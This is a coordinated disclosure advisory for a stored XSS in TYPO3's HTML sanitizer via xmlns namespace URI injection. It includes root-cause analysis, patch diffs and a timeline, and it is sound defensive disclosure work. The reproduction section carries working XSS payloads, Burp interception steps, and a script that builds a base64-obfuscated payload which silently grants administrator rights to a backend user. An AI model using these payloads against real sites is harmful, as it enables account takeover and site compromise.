ANT-2026-MHJX7J31 · typo3
xss medium
CVE-2026-47345 GHSA-p5j5-4j3q-8mq8
Severity Claude high · Security research firm high · Maintainer medium
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.
ANT-2026-MHJX7J31: Stored XSS in TYPO3 HTML Sanitizer via xmlns Namespace URI Injection
TYPO3\HtmlSanitizer\Sanitizer::sanitize() is the last line of defence that TYPO3 places between editor-supplied RTE content and the browser. It is enabled by default on every frontend page render (ContentObjectRenderer::parseFunc() → stdWrap_htmlSanitize()).
An attacker who can write to any RTE bodytext field (i.e. any backend editor — the lowest-privilege backend role) can inject:
<p xmlns:x=""><img src=x onerror=alert(document.domain)>">text</p>
The sanitizer emits:
<p xmlns:x=""><img src=x onerror=alert(document.domain)>">text</p>
The <img> tag has broken out of the attribute and its onerror handler fires automatically in every visitor's browser (src=x always errors). This is a complete, zero-click stored XSS.
Target
Project: typo3
Commit: 93ed2f0ef8f842a6
Location: /var/www/html/vendor/masterminds/html5/src/HTML5/Serializer/OutputRules.php:314
Discovery: static analysis — not yet dynamically reproduced
Technical Details
OutputRules.php:314 serializes namespace declarations with ->wr($nsNode->nodeValue) instead of ->wr($this->enc($nsNode->nodeValue, true)), under the false assumption that namespace URIs are always safe constants. TYPO3\HtmlSanitizer\Serializer\Rules extends OutputRules but does not override namespaceAttrs(), and CommonVisitor::processAttributes() iterates $domNode->attributes, which never contains xmlns: nodes (they live on the XPath namespace:: axis). The combination yields a decode-then-emit-raw path for attacker-controlled namespace URIs.
Reproduction
This finding was identified by static analysis and has not yet been dynamically reproduced. The Technical Details section above describes the code path; a trigger input is not included.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-MHJX7J31.
Reference: ANT-2026-MHJX7J31
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
Stored XSS in TYPO3 HTML Sanitizer via xmlns Namespace URI Injection
| Severity | HIGH |
| CVSS 3.1 | 8.2 — AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N |
| CWE | CWE-79 — Stored Cross-Site Scripting |
| Affected project | TYPO3 Core (typo3/html-sanitizer, masterminds/html5) |
| Tested versions | typo3/cms-core v13.4.28 (dynamically confirmed) |
Executive Summary
A backend editor — the lowest-privilege backend role — can inject a payload into any Rich Text Editor (RTE) content element that bypasses TYPO3's HTML sanitizer and executes arbitrary JavaScript in every frontend visitor's browser, including administrators, on page load without user interaction.
TYPO3\HtmlSanitizer\Sanitizer is enabled by default on every frontend page render via ContentObjectRenderer::parseFunc() → stdWrap_htmlSanitize(). By placing a crafted xmlns namespace attribute on an allowed HTML element, an attacker can cause the sanitizer to emit an unencoded <img onerror> tag into the HTTP response. Because src=x always fails, the onerror handler fires automatically on every page load for every visitor until the content is removed.
Prerequisites
- TYPO3 v13.4.28 with default configuration (
security.backend.htmlSanitizeRte = false,htmlSanitize = true) - A backend editor account with write access to at least one
tt_contentrecord - An HTTP proxy (e.g. Burp Suite) to bypass CKEditor's client-side attribute filtering
Root Cause Analysis
Vulnerable line — OutputRules.php:314
vendor/masterminds/html5/src/HTML5/Serializer/OutputRules.php serializes namespace declarations without encoding:
protected function namespaceAttrs($ele)
{
if (!$this->xpath || $this->xpath->document !== $ele->ownerDocument) {
$this->xpath = new \DOMXPath($ele->ownerDocument);
}
foreach ($this->xpath->query('namespace::*[not(.=../../namespace::*)]', $ele) as $nsNode) {
if (!in_array($nsNode->nodeValue, $this->implicitNamespaces)) {
$this->wr(' ')->wr($nsNode->nodeName)->wr('="')->wr($nsNode->nodeValue)->wr('"');
// ^^^^^^^^^^^^^^^^^^^
// raw write — no encoding
}
}
}
Regular attribute values in the same file (line ~360) are correctly encoded via $this->enc($val, true). Namespace URIs are not.
Why the sanitizer cannot intercept the payload
PHP's libxml DOM stores xmlns:* declarations as namespace nodes, not attribute nodes. CommonVisitor::processAttributes() iterates $domNode->attributes, which returns zero entries for elements carrying namespace declarations:
$element->attributes->length = 0 ← xmlns:x is invisible here
XPath namespace::* → xmlns:x = '"><img src=x onerror=alert(document.domain)>'
The visitor has no mechanism to inspect or strip the payload; it passes through to the serializer untouched.
Why TYPO3 inherits the bug
TYPO3\HtmlSanitizer\Serializer\Rules extends OutputRules but does not override namespaceAttrs(). The vulnerable parent runs unchanged on every element with a namespace declaration. Sanitizer::sanitize() calls Traverser → element() → openTag() → namespaceAttrs() on each element, and there is no configuration flag that disables this call.
How the payload escapes the attribute
The HTML5 parser decodes entities in attribute values per spec (" → ", > → >, < → <). The decoded value "><img src=x onerror=alert(document.domain)> is stored in a namespace node. The serializer writes it raw, terminating the xmlns:x attribute with the injected " and emitting the remaining characters as markup. The browser sees a valid <img> element.
Input stored in the database:
<div xmlns:x=""><img src=x onerror=alert(document.domain)>">text</div>
Sanitizer output:
<div xmlns:x=""><img src=x onerror=alert(document.domain)>">text</div>
Reproduction Steps
Note on carrier element: The <p> element is not suitable — RteHtmlParser applies a hard-coded attribute allowlist to <p> tags at save time that incidentally strips xmlns:*. The following elements survive the full editor → database → frontend chain under default configuration: <div>, <strong>, <table>, <blockquote>, <ul>, <ol>, <pre>. The <strong> variant is recommended as it appears as ordinary bold text in CKEditor.
Payload:
<strong xmlns:x=""><img src=x onerror=alert(document.domain)>">bold text</strong>
Steps:
- Log in to the TYPO3 backend as an editor.
- Open a page containing a Text content element. Switch CKEditor to Source mode and enter any content.
- Click Save and intercept the POST request in Burp Suite.
- In the intercepted request, replace the value of
data[tt_content][<uid>][bodytext]with the payload above and forward the request. - Confirm the payload was stored:
sql SELECT bodytext FROM tt_content WHERE uid = <uid>;The output must include thexmlns:xattribute. If it does not, verify the correct content UID and that the request was forwarded after modification. - Visit the frontend page containing the content element.
alert(document.domain)fires on page load.
More complicated payload could be generated using generate.js, for instance, this PoC was used to demonstrate the privilege escalation (minor adjustments are needed). Note that due to sudo mode (in this case, with the default validity of 5 minutes), the issue is only demonstrative — the injected script could perform any action as an administrator, or wait until the admin passes the sudo validity window.
$ cat generate.js
const js = `(async()=>{const r=await fetch('/typo3/record/edit?edit[be_users][5]=edit',{credentials:'include'});const h=await r.text();const a=h.match(/endpoint="([^"]+)/)?.[1]?.replace(/&/g,'&');if(!a)return;const f=new FormData();f.append('data[be_users][5][admin]','1');f.append('doSave','1');f.append('closeDoc','0');f.append('popViewId','0');f.append('effectivePid','0');f.append('target','0');f.append('returnUrl','/typo3/');await fetch(a,{method:'POST',credentials:'include',body:f});})();`;
const b = Buffer.from(js).toString('base64');
console.log(`<div xmlns:x=""><img src=x onerror=eval(atob('${b}'))>">text</div>`);
$ node generate.js
<div xmlns:x=""><img src=x onerror=eval(atob('KGFzeW5jKCk9Pntjb25zdCByPWF3YWl0IGZldGNoKCcvdHlwbzMvcmVjb3JkL2VkaXQ/ZWRpdFtiZV91c2Vyc11bNV09ZWRpdCcse2NyZWRlbnRpYWxzOidpbmNsdWRlJ30pO2NvbnN0IGg9YXdhaXQgci50ZXh0KCk7Y29uc3QgYT1oLm1hdGNoKC9lbmRwb2ludD0iKFteIl0rKS8pPy5bMV0/LnJlcGxhY2UoLyZhbXA7L2csJyYnKTtpZighYSlyZXR1cm47Y29uc3QgZj1uZXcgRm9ybURhdGEoKTtmLmFwcGVuZCgnZGF0YVtiZV91c2Vyc11bNV1bYWRtaW5dJywnMScpO2YuYXBwZW5kKCdkb1NhdmUnLCcxJyk7Zi5hcHBlbmQoJ2Nsb3NlRG9jJywnMCcpO2YuYXBwZW5kKCdwb3BWaWV3SWQnLCcwJyk7Zi5hcHBlbmQoJ2VmZmVjdGl2ZVBpZCcsJzAnKTtmLmFwcGVuZCgndGFyZ2V0JywnMCcpO2YuYXBwZW5kKCdyZXR1cm5VcmwnLCcvdHlwbzMvJyk7YXdhaXQgZmV0Y2goYSx7bWV0aG9kOidQT1NUJyxjcmVkZW50aWFsczonaW5jbHVkZScsYm9keTpmfSk7fSkoKTs='))>">text</div>
Fix
Recommended — suppress namespace declarations in typo3/html-sanitizer
Override namespaceAttrs() in TYPO3\HtmlSanitizer\Serializer\Rules. XML namespace declarations have no legitimate use in sanitised HTML5 body content:
// vendor/typo3/html-sanitizer/src/Serializer/Rules.php
protected function namespaceAttrs($ele): void
{
// Suppress all xmlns:* declarations — they serve no purpose in
// sanitised HTML5 and the parent implementation writes namespace
// URIs to the output stream without encoding.
}
Alternative — encode namespace URI values
If namespace declarations must be preserved for other use cases, apply the same encoding already used for regular attributes by calling $this->enc:
protected function namespaceAttrs($ele): void
{
if (!$this->xpath || $this->xpath->document !== $ele->ownerDocument) {
$this->xpath = new \DOMXPath($ele->ownerDocument);
}
foreach ($this->xpath->query('namespace::*[not(.=../../namespace::*)]', $ele) as $nsNode) {
if (!in_array($nsNode->nodeValue, $this->implicitNamespaces)) {
$this->wr(' ')->wr($nsNode->nodeName)->wr('="')
->wr($this->enc($nsNode->nodeValue, true))
->wr('"');
}
}
}
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Norbert Szetei at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research
Attachment: ANT-2026-05043/patch.diff
diff --git a/typo3/html-sanitizer/src/Serializer/Rules.php b/typo3/html-sanitizer/src/Serializer/Rules.php
index 9996a94c..a689ef8a 100644
--- a/typo3/html-sanitizer/src/Serializer/Rules.php
+++ b/typo3/html-sanitizer/src/Serializer/Rules.php
@@ -164,6 +164,14 @@ class Rules extends OutputRules implements RulesInterface
$this->wr($domNode->data);
}
+ protected function namespaceAttrs($ele): void
+ {
+ // Suppress all xmlns:* declarations. They have no legitimate use in
+ // sanitised HTML5 body content, and the parent implementation writes
+ // namespace URIs to the output stream without encoding, allowing
+ // attribute breakout via crafted namespace URI values.
+ }
+
protected function enc($text, $attribute = false): string
{
if ($attribute && $this->encodeAttributes && !$this->encode) {
Attachment: ANT-2026-05043/patch2.diff
diff --git a/masterminds/html5/src/HTML5/Serializer/OutputRules.php b/masterminds/html5/src/HTML5/Serializer/OutputRules.php
index 13cbdc66..bca27ba7 100644
--- a/masterminds/html5/src/HTML5/Serializer/OutputRules.php
+++ b/masterminds/html5/src/HTML5/Serializer/OutputRules.php
@@ -311,7 +311,7 @@ class OutputRules implements RulesInterface
foreach ($this->xpath->query('namespace::*[not(.=../../namespace::*)]', $ele) as $nsNode) {
if (!in_array($nsNode->nodeValue, $this->implicitNamespaces)) {
- $this->wr(' ')->wr($nsNode->nodeName)->wr('="')->wr($nsNode->nodeValue)->wr('"');
+ $this->wr(' ')->wr($nsNode->nodeName)->wr('="')->wr($this->enc($nsNode->nodeValue, true))->wr('"');
}
}
}
Dates from discovery through public reveal.
- 2026-03-30 Reported to tracker
- 2026-05-07 Sent to maintainer
- 2026-05-07 Maintainer acknowledged
- 2026-06-10 Patch released
- 2026-08-17 Publicly revealed
SHA-3-512 hash:
189c82e012e75b5ab44d20ba1449802f6da28844dbac5d3b08165c48a31fe875043fe292cd13d1b1bd9054a429c2810b5e527a1e1c82752debd777935b8e0bfd
Committed 2026-05-07 00:07 PT
Revealed 2026-08-17 10:47 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-MHJX7J31",
"bug_class": "XSS",
"claude_severity": "high",
"commit_sha": "93ed2f0ef8f842a6",
"created_at": "2026-03-30T23:21:29+00:00",
"description": "`TYPO3\\HtmlSanitizer\\Sanitizer::sanitize()` is the last line of defence that TYPO3 places between editor-supplied RTE content and the browser. It is **enabled by default** on every frontend page render (`ContentObjectRenderer::parseFunc()` → `stdWrap_htmlSanitize()`).\n\nAn attacker who can write to any RTE bodytext field (i.e. any backend editor — the **lowest-privilege backend role**) can inject:\n\n```html\n<p xmlns:x=\""><img src=x onerror=alert(document.domain)>\">text</p>\n```\n\nThe sanitizer emits:\n\n```html\n<p xmlns:x=\"\"><img src=x onerror=alert(document.domain)>\">text</p>\n```\n\nThe `<img>` tag has broken out of the attribute and its `onerror` handler **fires automatically** in every visitor's browser (`src=x` always errors). This is a **complete, zero-click stored XSS**.",
"discovered_at": null,
"location": "/var/www/html/vendor/masterminds/html5/src/HTML5/Serializer/OutputRules.php:314",
"poc_sha256": "0ba4476579ed00f558240c313da3bbaf9c55507ae839ca9b25a4d3efbf5f0769",
"preimage_version": 1,
"project": "typo3",
"reproduction": null,
"technical_details": "OutputRules.php:314 serializes namespace declarations with `->wr($nsNode->nodeValue)` instead of `->wr($this->enc($nsNode->nodeValue, true))`, under the false assumption that namespace URIs are always safe constants. TYPO3\\HtmlSanitizer\\Serializer\\Rules extends OutputRules but does not override namespaceAttrs(), and CommonVisitor::processAttributes() iterates $domNode->attributes, which never contains xmlns:* nodes (they live on the XPath namespace::* axis). The combination yields a decode-then-emit-raw path for attacker-controlled namespace URIs.",
"title": "Stored XSS in TYPO3 HTML Sanitizer via `xmlns` Namespace URI Injection",
"vendor_severity": "high"
}